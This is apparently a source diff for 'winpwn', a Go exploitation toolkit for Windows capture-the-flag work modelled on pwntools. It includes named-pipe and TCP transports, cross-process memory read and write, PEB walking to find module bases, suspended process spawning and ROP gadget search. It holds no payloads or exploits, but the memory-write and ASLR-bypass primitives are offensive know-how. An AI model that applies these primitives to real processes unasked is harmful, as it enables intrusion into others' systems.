// its stdin/stdout fields. The handle is genuinely asynchronous -- matching
|
||||
// how real Windows services hold their pipe ends; a synchronous duplex
|
||||
// pipe is the rarer case in production code -- but every Read/Write below
|
||||
// immediately blocks on GetOverlappedResult, so the type behaves like an
|
||||
// ordinary blocking reader/writer to the rest of the package. That keeps
|
||||
// Tube's synchronous Send/Recv contract intact while still exercising the
|
||||
// same overlapped-completion path a real target uses.
|
||||
type pipeConn struct {
|
||||
h windows.Handle
|
||||
event windows.Handle // manual-reset event reused across overlapped calls
|
||||
|
||||
closeOnce sync.Once
|
||||
closeErr error
|
||||
}
|
||||
|
||||
func newPipeConn(h windows.Handle) (*pipeConn, error) {
|
||||
ev, err := windows.CreateEvent(nil, 1 /* manual reset */, 0, nil)
|
||||
if err != nil {
|
||||
windows.CloseHandle(h)
|
||||
return nil, fmt.Errorf("CreateEvent: %w", err)
|
||||
}
|
||||
return &pipeConn{h: h, event: ev}, nil
|
||||
}
|
||||
|
||||
func (p *pipeConn) Read(b []byte) (int, error) {
|
||||
if len(b) == 0 {
|
||||
return 0, nil
|
||||
}
|
||||
var ov windows.Overlapped
|
||||
ov.HEvent = p.event
|
||||
|
||||
var n uint32
|
||||
err := windows.ReadFile(p.h, b, &n, &ov)
|
||||
if err != nil && err != windows.ERROR_IO_PENDING {
|
||||
if err == windows.ERROR_BROKEN_PIPE || err == windows.ERROR_HANDLE_EOF {
|
||||
return 0, io.EOF
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
var transferred uint32
|
||||
if err := windows.GetOverlappedResult(p.h, &ov, &transferred, true); err != nil {
|
||||
if err == windows.ERROR_BROKEN_PIPE || err == windows.ERROR_HANDLE_EOF {
|
||||
return int(transferred), io.EOF
|
||||
}
|
||||
return int(transferred), err
|
||||
}
|
||||
if transferred == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
return int(transferred), nil
|
||||
}
|
||||
|
||||
func (p *pipeConn) Write(b []byte) (int, error) {
|
||||
if len(b) == 0 {
|
||||
return 0, nil
|
||||
}
|
||||
var ov windows.Overlapped
|
||||
ov.HEvent = p.event
|
||||
|
||||
var n uint32
|
||||
err := windows.WriteFile(p.h, b, &n, &ov)
|
||||
if err != nil && err != windows.ERROR_IO_PENDING {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
var transferred uint32
|
||||
if err := windows.GetOverlappedResult(p.h, &ov, &transferred, true); err != nil {
|
||||
return int(transferred), err
|
||||
}
|
||||
return int(transferred), nil
|
||||
}
|
||||
|
||||
// Close is idempotent (sync.Once) deliberately: Tube.Close calls Close once
|
||||
// via its stdin field and once via its stdout field, and stdin/stdout are
|
||||
// the same *pipeConn here -- unlike net.Conn, a raw Windows HANDLE is not
|
||||
// safe to pass to CloseHandle twice (the numeric value can be reused by an
|
||||
// unrelated object in between).
|
||||
func (p *pipeConn) Close() error {
|
||||
p.closeOnce.Do(func() {
|
||||
_ = windows.CloseHandle(p.event)
|
||||
p.closeErr = windows.CloseHandle(p.h)
|
||||
})
|
||||
return p.closeErr
|
||||
}
|
||||
|
||||
// ServePipe creates a duplex named pipe at \\.\pipe\<name>
|
||||
// (PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED -- the pattern real Windows
|
||||
// services use, not the rarer synchronous one) and blocks until exactly
|
||||
// one client connects -- the named-pipe analogue of Spawn/Remote for the
|
||||
// IPC-flavored challenges Windows uses far more than Linux pwn does.
|
||||
// Returns a *Tube wired to the connected pipe end, so Send/Recv*/
|
||||
// Interactive/SetTimeout all work exactly as they do over a process or TCP
|
||||
// socket.
|
||||
func ServePipe(name string) (*Tube, error) {
|
||||
fullName, err := windows.UTF16PtrFromString(`\\.\pipe\` + name)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid pipe name %q: %w", name, err)
|
||||
}
|
||||
|
||||
h, err := windows.CreateNamedPipe(
|
||||
fullName,
|
||||
windows.PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
|
||||
windows.PIPE_TYPE_BYTE|windows.PIPE_READMODE_BYTE|windows.PIPE_WAIT,
|
||||
1, // maxInstances: one client, matching "spawn one challenge instance"
|
||||
pipeOutBufSize, pipeInBufSize,
|
||||
0, // default timeout
|
||||
nil,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("CreateNamedPipe: %w", err)
|
||||
}
|
||||
|
||||
conn, err := newPipeConn(h)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
Info(`Waiting for a client on \\.\pipe\%s`, name)
|
||||
|
||||
var ov windows.Overlapped
|
||||
ov.HEvent = conn.event
|
||||
err = windows.ConnectNamedPipe(conn.h, &ov)
|
||||
if err != nil && err != windows.ERROR_IO_PENDING && err != windows.ERROR_PIPE_CONNECTED {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("ConnectNamedPipe: %w", err)
|
||||
}
|
||||
if err != windows.ERROR_PIPE_CONNECTED {
|
||||
var transferred uint32
|
||||
if err := windows.GetOverlappedResult(conn.h, &ov, &transferred, true); err != nil {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("waiting for client connection: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
Success(`Client connected to \\.\pipe\%s`, name)
|
||||
return newTube(nil, nil, conn, conn), nil
|
||||
}
|
||||
|
||||
// DialPipe connects to a named pipe at \\.\pipe\<name> as a client (the
|
||||
// CreateFile-based counterpart to ServePipe), returning a *Tube wired to
|
||||
// it.
|
||||
func DialPipe(name string) (*Tube, error) {
|
||||
fullName, err := windows.UTF16PtrFromString(`\\.\pipe\` + name)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid pipe name %q: %w", name, err)
|
||||
}
|
||||
|
||||
h, err := windows.CreateFile(
|
||||
fullName,
|
||||
windows.GENERIC_READ|windows.GENERIC_WRITE,
|
||||
0,
|
||||
nil,
|
||||
windows.OPEN_EXISTING,
|
||||
windows.FILE_FLAG_OVERLAPPED,
|
||||
0,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(`CreateFile(\\.\pipe\%s): %w`, name, err)
|
||||
}
|
||||
|
||||
conn, err := newPipeConn(h)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return newTube(nil, nil, conn, conn), nil
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TestNamedPipeServerClient exercises ServePipe/DialPipe end to end: a
|
||||
// goroutine plays the server (CreateNamedPipe + ConnectNamedPipe, both
|
||||
// overlapped), the test goroutine plays the client (CreateFile), and both
|
||||
// sides talk over the resulting *Tube exactly like any other transport.
|
||||
func TestNamedPipeServerClient(t *testing.T) {
|
||||
pipeName := fmt.Sprintf("winpwn_test_%d", time.Now().UnixNano())
|
||||
|
||||
serverErr := make(chan error, 1)
|
||||
serverMsg := make(chan []byte, 1)
|
||||
go func() {
|
||||
tube, err := ServePipe(pipeName)
|
||||
if err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
defer tube.Close()
|
||||
|
||||
got, err := tube.RecvLine()
|
||||
if err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
serverMsg <- got
|
||||
|
||||
if err := tube.SendLine([]byte("pong")); err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
serverErr <- nil
|
||||
}()
|
||||
|
||||
// ServePipe's CreateNamedPipe call may not have run yet; retry the
|
||||
// dial briefly rather than racing it with a fixed sleep.
|
||||
var client *Tube
|
||||
var err error
|
||||
for i := 0; i < 100; i++ {
|
||||
client, err = DialPipe(pipeName)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("DialPipe: %v", err)
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
if err := client.SendLine([]byte("ping")); err != nil {
|
||||
t.Fatalf("client SendLine: %v", err)
|
||||
}
|
||||
|
||||
select {
|
||||
case got := <-serverMsg:
|
||||
if string(got) != "ping\n" {
|
||||
t.Errorf("server received %q, want %q", got, "ping\n")
|
||||
}
|
||||
case err := <-serverErr:
|
||||
t.Fatalf("server error: %v", err)
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for the server to receive the client's message")
|
||||
}
|
||||
|
||||
got, err := client.RecvLine()
|
||||
if err != nil {
|
||||
t.Fatalf("client RecvLine: %v", err)
|
||||
}
|
||||
if string(got) != "pong\n" {
|
||||
t.Errorf("client received %q, want %q", got, "pong\n")
|
||||
}
|
||||
|
||||
if err := <-serverErr; err != nil {
|
||||
t.Fatalf("server goroutine error: %v", err)
|
||||
}
|
||||
}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// Spawn launches a local target process and wires up its stdin/stdout as
|
||||
// a Tube, the Go analogue of pwntools' process().
|
||||
func Spawn(target string) (*Tube, error) {
|
||||
// Resolve to an absolute path, e.g. "bof_win.c.exe" -> "C:\...\bof_win.c.exe".
|
||||
if absTarget, err := filepath.Abs(target); err == nil {
|
||||
target = absTarget
|
||||
}
|
||||
|
||||
cmd := exec.Command(target)
|
||||
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("StdinPipe: %w", err)
|
||||
}
|
||||
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("StdoutPipe: %w", err)
|
||||
}
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, fmt.Errorf("Start: %w", err)
|
||||
}
|
||||
|
||||
return newTube(cmd, nil, stdin, stdout), nil
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
//go:build !windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import "errors"
|
||||
|
||||
var errWindowsOnly = errors.New("requires GOOS=windows")
|
||||
|
||||
func OpenPEFromProcess(pid uint32, base uintptr) (*PEFile, error) {
|
||||
return nil, errWindowsOnly
|
||||
}
|
||||
|
||||
func ResolveModuleBase(pid uint32, moduleName string) (uintptr, error) {
|
||||
return 0, errWindowsOnly
|
||||
}
|
||||
|
||||
func SpawnSuspended(target string) (tube *Tube, pid uint32, err error) {
|
||||
return nil, 0, errWindowsOnly
|
||||
}
|
||||
|
||||
func ResumeMainThread(pid uint32) error {
|
||||
return errWindowsOnly
|
||||
}
|
||||
|
||||
func ListProcessHeaps(pid uint32) ([]uint64, error) {
|
||||
return nil, errWindowsOnly
|
||||
}
|
||||
@@ -0,0 +1,284 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"debug/pe"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// ProcessMemory is an io.ReaderAt/io.WriterAt over a remote process's
|
||||
// address space, anchored at a base address -- the live-memory analogue of
|
||||
// reading bytes off disk. Offset 0 in ReadAt/WriteAt means "Base itself",
|
||||
// matching how a memory-backed PEFile's RVAToFileOffset treats RVAs as
|
||||
// identical to read offsets: that's exactly what an RVA means once an
|
||||
// image is actually loaded.
|
||||
type ProcessMemory struct {
|
||||
Handle windows.Handle
|
||||
Base uintptr
|
||||
}
|
||||
|
||||
// OpenProcessMemory opens pid for VM read/write, anchored at base -- the
|
||||
// building block behind OpenPEFromProcess, but also useful standalone for
|
||||
// any arbitrary-read/write-shaped primitive once you have a target address
|
||||
// (Phase 8's ARW interface is satisfied directly by *ProcessMemory).
|
||||
func OpenProcessMemory(pid uint32, base uintptr) (*ProcessMemory, error) {
|
||||
h, err := windows.OpenProcess(
|
||||
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION,
|
||||
false, pid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &ProcessMemory{Handle: h, Base: base}, nil
|
||||
}
|
||||
|
||||
func (m *ProcessMemory) Close() error {
|
||||
return windows.CloseHandle(m.Handle)
|
||||
}
|
||||
|
||||
func (m *ProcessMemory) ReadAt(p []byte, off int64) (int, error) {
|
||||
if off < 0 {
|
||||
return 0, errors.New("ProcessMemory.ReadAt: negative offset")
|
||||
}
|
||||
if len(p) == 0 {
|
||||
return 0, nil
|
||||
}
|
||||
var n uintptr
|
||||
err := windows.ReadProcessMemory(m.Handle, m.Base+uintptr(off), &p[0], uintptr(len(p)), &n)
|
||||
if err != nil {
|
||||
return int(n), err
|
||||
}
|
||||
if int(n) < len(p) {
|
||||
return int(n), io.ErrUnexpectedEOF
|
||||
}
|
||||
return int(n), nil
|
||||
}
|
||||
|
||||
func (m *ProcessMemory) WriteAt(p []byte, off int64) (int, error) {
|
||||
if off < 0 {
|
||||
return 0, errors.New("ProcessMemory.WriteAt: negative offset")
|
||||
}
|
||||
if len(p) == 0 {
|
||||
return 0, nil
|
||||
}
|
||||
var n uintptr
|
||||
err := windows.WriteProcessMemory(m.Handle, m.Base+uintptr(off), &p[0], uintptr(len(p)), &n)
|
||||
return int(n), err
|
||||
}
|
||||
|
||||
// OpenPEFromProcess opens the PE module loaded at base inside pid's address
|
||||
// space, the live-process analogue of OpenPE. Every PEFile accessor
|
||||
// (Checksec, ListExports/ListImports, the ROP gadget scanner, PatchBytes)
|
||||
// works against it exactly as it does against a disk-backed PEFile -- the
|
||||
// whole point of routing everything through PEFile.r/.w/.RVAToFileOffset.
|
||||
// Find base with ResolveModuleBase, or read it straight from a leaked
|
||||
// pointer once you have one.
|
||||
func OpenPEFromProcess(pid uint32, base uintptr) (*PEFile, error) {
|
||||
mem, err := OpenProcessMemory(pid, base)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f, err := pe.NewFile(mem)
|
||||
if err != nil {
|
||||
mem.Close()
|
||||
return nil, err
|
||||
}
|
||||
pf := &PEFile{File: f, r: mem, w: mem, closer: mem, live: true}
|
||||
if h, herr := pf.header(); herr == nil {
|
||||
pf.size = int64(h.sizeOfImage)
|
||||
}
|
||||
return pf, nil
|
||||
}
|
||||
|
||||
// ResolveModuleBase walks pid's PEB -> Ldr -> InMemoryOrderModuleList to
|
||||
// find moduleName's load address (e.g. "kernel32.dll", "ntdll.dll", or the
|
||||
// process's own main-module file name), matched against the loader's
|
||||
// FullDllName case-insensitively by base name.
|
||||
//
|
||||
// This is the live, cross-process twin of
|
||||
// shellcode/asm/resolver.inc's get_kernel32_base: that NASM walks the exact
|
||||
// same PEB/Ldr chain from *inside* the target process at IP-control time
|
||||
// with no Windows API calls available; this does it from *outside*, with a
|
||||
// debugger/exploit-tooling process's full WinAPI access, which is why it
|
||||
// can resolve any module by name instead of relying on a fixed loader
|
||||
// order. It's the real Windows analogue of how pwntools' DynELF defeats
|
||||
// ASLR by walking ELF structures through a leak oracle -- here the "oracle"
|
||||
// is ReadProcessMemory itself.
|
||||
func ResolveModuleBase(pid uint32, moduleName string) (uintptr, error) {
|
||||
h, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ, false, pid)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer windows.CloseHandle(h)
|
||||
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
var retLen uint32
|
||||
if err := windows.NtQueryInformationProcess(h, windows.ProcessBasicInformation,
|
||||
unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), &retLen); err != nil {
|
||||
return 0, fmt.Errorf("NtQueryInformationProcess(ProcessBasicInformation): %w", err)
|
||||
}
|
||||
pebAddr := uintptr(unsafe.Pointer(pbi.PebBaseAddress))
|
||||
if pebAddr == 0 {
|
||||
return 0, errors.New("PEB address is null")
|
||||
}
|
||||
|
||||
peb, err := readRemoteStruct[windows.PEB](h, pebAddr)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("read PEB: %w", err)
|
||||
}
|
||||
ldrAddr := uintptr(unsafe.Pointer(peb.Ldr))
|
||||
if ldrAddr == 0 {
|
||||
return 0, errors.New("PEB.Ldr is null -- ntdll's loader (LdrInitializeThunk) hasn't run in this process yet; " +
|
||||
"this is normal for a CREATE_SUSPENDED process before it's resumed, retry shortly after ResumeMainThread")
|
||||
}
|
||||
|
||||
ldr, err := readRemoteStruct[windows.PEB_LDR_DATA](h, ldrAddr)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("read PEB_LDR_DATA: %w", err)
|
||||
}
|
||||
|
||||
// Flink/Blink point at the InMemoryOrderLinks *field* of each entry, not
|
||||
// at the start of its LDR_DATA_TABLE_ENTRY -- the field sits at a
|
||||
// nonzero offset (0x10 on x64: it's the second of three LIST_ENTRYs at
|
||||
// the head of the real struct), so every address read off the list has
|
||||
// to be corrected by that offset before it's used as an entry address.
|
||||
entryLinksOffset := unsafe.Offsetof(windows.LDR_DATA_TABLE_ENTRY{}.InMemoryOrderLinks)
|
||||
headAddr := ldrAddr + unsafe.Offsetof(windows.PEB_LDR_DATA{}.InMemoryOrderModuleList)
|
||||
|
||||
cur := uintptr(unsafe.Pointer(ldr.InMemoryOrderModuleList.Flink))
|
||||
for cur != 0 && cur != headAddr {
|
||||
entryAddr := cur - entryLinksOffset
|
||||
|
||||
entry, err := readRemoteStruct[windows.LDR_DATA_TABLE_ENTRY](h, entryAddr)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("read LDR_DATA_TABLE_ENTRY: %w", err)
|
||||
}
|
||||
|
||||
if name, err := readRemoteUTF16(h, entry.FullDllName); err == nil {
|
||||
if strings.EqualFold(moduleBaseName(name), moduleName) {
|
||||
return entry.DllBase, nil
|
||||
}
|
||||
}
|
||||
|
||||
cur = uintptr(unsafe.Pointer(entry.InMemoryOrderLinks.Flink))
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("module %q not found in process %d's loaded module list", moduleName, pid)
|
||||
}
|
||||
|
||||
// readRemoteStruct copies sizeof(T) bytes from h's address space at addr
|
||||
// into a T, by raw memcpy through ReadProcessMemory -- safe specifically
|
||||
// because T's fields here are always fixed-width (uintptr/pointer-shaped)
|
||||
// values being read as bit patterns, never dereferenced as if they were
|
||||
// local pointers.
|
||||
func readRemoteStruct[T any](h windows.Handle, addr uintptr) (T, error) {
|
||||
var v T
|
||||
size := int(unsafe.Sizeof(v))
|
||||
buf := make([]byte, size)
|
||||
var n uintptr
|
||||
if err := windows.ReadProcessMemory(h, addr, &buf[0], uintptr(size), &n); err != nil {
|
||||
return v, err
|
||||
}
|
||||
if int(n) < size {
|
||||
return v, io.ErrUnexpectedEOF
|
||||
}
|
||||
return *(*T)(unsafe.Pointer(&buf[0])), nil
|
||||
}
|
||||
|
||||
func readRemoteUTF16(h windows.Handle, s windows.NTUnicodeString) (string, error) {
|
||||
if s.Buffer == nil || s.Length == 0 {
|
||||
return "", errors.New("empty NTUnicodeString")
|
||||
}
|
||||
buf := make([]uint16, s.Length/2)
|
||||
var n uintptr
|
||||
if err := windows.ReadProcessMemory(h, uintptr(unsafe.Pointer(s.Buffer)),
|
||||
(*byte)(unsafe.Pointer(&buf[0])), uintptr(s.Length), &n); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return windows.UTF16ToString(buf), nil
|
||||
}
|
||||
|
||||
func moduleBaseName(path string) string {
|
||||
if idx := strings.LastIndexAny(path, `/\`); idx >= 0 {
|
||||
path = path[idx+1:]
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
// SpawnSuspended launches target with CREATE_SUSPENDED, returning the Tube
|
||||
// (stdin/stdout wired exactly like Spawn) and the new process's PID, with
|
||||
// the main thread parked before it executes a single instruction.
|
||||
//
|
||||
// Verified by testing, worth recording because the obvious assumption is
|
||||
// wrong: you can NOT resolve module bases via ResolveModuleBase while the
|
||||
// thread is still suspended. CREATE_SUSPENDED only pins the thread before
|
||||
// its start routine runs, and that start routine *is*
|
||||
// ntdll!LdrInitializeThunk -- the loader code that populates
|
||||
// PEB->Ldr->InMemoryOrderModuleList in the first place. Until it runs,
|
||||
// PEB.Ldr reads back as null (confirmed empirically: see the smoke test in
|
||||
// this package's history). What this primitive is actually for is pausing
|
||||
// *before the loader and entry point run*, e.g. to let Phase 4's debugger
|
||||
// attach and plant a breakpoint before any application/TLS-callback code
|
||||
// executes. Call ResumeMainThread(pid), then poll ResolveModuleBase for a
|
||||
// few milliseconds (the loader runs fast, but it isn't instant) once you
|
||||
// actually need module bases.
|
||||
func SpawnSuspended(target string) (tube *Tube, pid uint32, err error) {
|
||||
if abs, aerr := filepath.Abs(target); aerr == nil {
|
||||
target = abs
|
||||
}
|
||||
|
||||
cmd := exec.Command(target)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{CreationFlags: windows.CREATE_SUSPENDED}
|
||||
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
return nil, 0, fmt.Errorf("StdinPipe: %w", err)
|
||||
}
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
return nil, 0, fmt.Errorf("StdoutPipe: %w", err)
|
||||
}
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, 0, fmt.Errorf("Start: %w", err)
|
||||
}
|
||||
|
||||
return newTube(cmd, nil, stdin, stdout), uint32(cmd.Process.Pid), nil
|
||||
}
|
||||
|
||||
// ResumeMainThread resumes a process started with SpawnSuspended. A
|
||||
// CREATE_SUSPENDED process has exactly one thread (its initial thread)
|
||||
// until something resumes it, so finding "the" thread to resume is just
|
||||
// finding the one thread Toolhelp reports for pid -- there's no race with
|
||||
// the target spawning more threads first, because it hasn't run yet.
|
||||
func ResumeMainThread(pid uint32) error {
|
||||
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPTHREAD, 0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("CreateToolhelp32Snapshot: %w", err)
|
||||
}
|
||||
defer windows.CloseHandle(snap)
|
||||
|
||||
var entry windows.ThreadEntry32
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
for err = windows.Thread32First(snap, &entry); err == nil; err = windows.Thread32Next(snap, &entry) {
|
||||
if entry.OwnerProcessID != pid {
|
||||
continue
|
||||
}
|
||||
th, err := windows.OpenThread(windows.THREAD_SUSPEND_RESUME, false, entry.ThreadID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("OpenThread(%d): %w", entry.ThreadID, err)
|
||||
}
|
||||
_, err = windows.ResumeThread(th)
|
||||
windows.CloseHandle(th)
|
||||
return err
|
||||
}
|
||||
return fmt.Errorf("no thread found for process %d", pid)
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
// Remote opens a TCP connection to a remote target as a Tube, the Go
|
||||
// analogue of pwntools' remote().
|
||||
func Remote(host string, port string) (*Tube, error) {
|
||||
address := host + ":" + port
|
||||
|
||||
Info("Opening connection to %s", address)
|
||||
|
||||
conn, err := net.Dial("tcp", address)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("connect to %s: %w", address, err)
|
||||
}
|
||||
|
||||
Success("Connected to %s", address)
|
||||
|
||||
return newTube(nil, conn, conn, conn), nil
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// NewROPExternal is the explicit-tool-path variant of NewROP, for an rp-win
|
||||
// build kept somewhere other than RP_WIN_EXE/defaultRPWinTool, or a
|
||||
// different rp++ fork entirely (same output format).
|
||||
func NewROPExternal(binaryPath string, toolPath string) (*ROP, error) {
|
||||
return newROP(binaryPath, toolPath)
|
||||
}
|
||||
|
||||
func (r *ROP) findGadgetsExternal() error {
|
||||
// -f: target file
|
||||
// -r 5: max gadget length in instructions
|
||||
// --unique: dedupe identical instruction sequences
|
||||
// --allow-branches: also report gadgets terminated by an indirect
|
||||
// jmp/call (register or memory operand) and jmp-$ self-loops, not just
|
||||
// ret/ret-imm16 -- the JOP transit primitives needed when the target
|
||||
// has no clean `pop reg ; ret` for a given register.
|
||||
cmd := exec.Command(r.toolPath, "-f", r.binaryPath, "-r", "5", "--unique", "--allow-branches")
|
||||
|
||||
var out, stderr bytes.Buffer
|
||||
cmd.Stdout = &out
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("failed to run gadget finder %q: %w\n%s", r.toolPath, err, stderr.String())
|
||||
}
|
||||
|
||||
// Регулярное выражение для парсинга вывода rp++
|
||||
// Пример строки: "0x140001234: pop rcx ; ret ; (1 found)"
|
||||
re := regexp.MustCompile(`^(0x[0-9a-fA-F]+):\s*(.+?)\s*(?:;\s*\(\d+ found\))?$`)
|
||||
|
||||
scanner := bufio.NewScanner(&out)
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
|
||||
matches := re.FindStringSubmatch(line)
|
||||
if len(matches) >= 3 {
|
||||
addrStr := matches[1]
|
||||
instructions := matches[2]
|
||||
|
||||
// Конвертация hex-строки в uint64
|
||||
addr, err := strconv.ParseUint(strings.TrimPrefix(addrStr, "0x"), 16, 64)
|
||||
if err == nil {
|
||||
r.gadgets = append(r.gadgets, Gadget{
|
||||
Address: addr,
|
||||
Instructions: instructions,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Search ищет гаджет по подстроке (например, "pop rcx ; ret")
|
||||
func (r *ROP) Search(instr string) ([]Gadget, error) {
|
||||
var results []Gadget
|
||||
searchStr := strings.ToLower(instr)
|
||||
|
||||
for _, g := range r.gadgets {
|
||||
if strings.Contains(strings.ToLower(g.Instructions), searchStr) {
|
||||
results = append(results, g)
|
||||
}
|
||||
}
|
||||
|
||||
if len(results) == 0 {
|
||||
return nil, fmt.Errorf("gadget '%s' not found", instr)
|
||||
}
|
||||
return results, nil
|
||||
}
|
||||
+171
@@ -0,0 +1,171 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"debug/pe"
|
||||
"errors"
|
||||
"io"
|
||||
"math"
|
||||
)
|
||||
|
||||
// Section characteristic flags relevant to memory protection
|
||||
// (IMAGE_SCN_MEM_*, see winnt.h).
|
||||
const (
|
||||
imageSCNMemExecute = 0x20000000
|
||||
imageSCNMemRead = 0x40000000
|
||||
imageSCNMemWrite = 0x80000000
|
||||
)
|
||||
|
||||
// Section wraps debug/pe.Section with the permission/entropy helpers a pwn
|
||||
// workflow actually needs (find the RWX section, spot the packed one).
|
||||
type Section struct {
|
||||
*pe.Section
|
||||
|
||||
// live is set when this Section belongs to a live-process-backed
|
||||
// PEFile. debug/pe.Section.Data() always reads via PointerToRawData
|
||||
// (the section's *file* offset), which is wrong once the image is
|
||||
// loaded into memory -- SectionAlignment shifts things around relative
|
||||
// to FileAlignment. When live is set, Data() reads VirtualSize bytes
|
||||
// at VirtualAddress instead, through the same ReaderAt the rest of a
|
||||
// live PEFile uses.
|
||||
live io.ReaderAt
|
||||
}
|
||||
|
||||
func (s *Section) IsReadable() bool { return s.Characteristics&imageSCNMemRead != 0 }
|
||||
func (s *Section) IsWritable() bool { return s.Characteristics&imageSCNMemWrite != 0 }
|
||||
func (s *Section) IsExecutable() bool { return s.Characteristics&imageSCNMemExecute != 0 }
|
||||
func (s *Section) IsRWX() bool { return s.IsReadable() && s.IsWritable() && s.IsExecutable() }
|
||||
|
||||
// Data returns the section's raw bytes. Overrides (shadows)
|
||||
// debug/pe.Section.Data: see the live field's doc comment for why a
|
||||
// live-process-backed section needs a different read path.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
if s.live == nil {
|
||||
return s.Section.Data()
|
||||
}
|
||||
buf := make([]byte, s.VirtualSize)
|
||||
if _, err := s.live.ReadAt(buf, int64(s.VirtualAddress)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
// Entropy returns the Shannon entropy (0..8 bits/byte) of the section's raw
|
||||
// data, the standard quick signal for "this is packed/encrypted" (UPX-style
|
||||
// sections commonly read >7.2).
|
||||
func (s *Section) Entropy() (float64, error) {
|
||||
data, err := s.Data()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return ShannonEntropy(data), nil
|
||||
}
|
||||
|
||||
// ShannonEntropy computes the byte-level Shannon entropy of data, in bits
|
||||
// per byte (0 = uniform/empty, 8 = maximally random).
|
||||
func ShannonEntropy(data []byte) float64 {
|
||||
if len(data) == 0 {
|
||||
return 0
|
||||
}
|
||||
var counts [256]int
|
||||
for _, b := range data {
|
||||
counts[b]++
|
||||
}
|
||||
entropy := 0.0
|
||||
total := float64(len(data))
|
||||
for _, c := range counts {
|
||||
if c == 0 {
|
||||
continue
|
||||
}
|
||||
freq := float64(c) / total
|
||||
entropy -= freq * math.Log2(freq)
|
||||
}
|
||||
return entropy
|
||||
}
|
||||
|
||||
// Sections returns every section wrapped with the permission/entropy helpers.
|
||||
func (p *PEFile) Sections() []*Section {
|
||||
out := make([]*Section, len(p.File.Sections))
|
||||
for i, sec := range p.File.Sections {
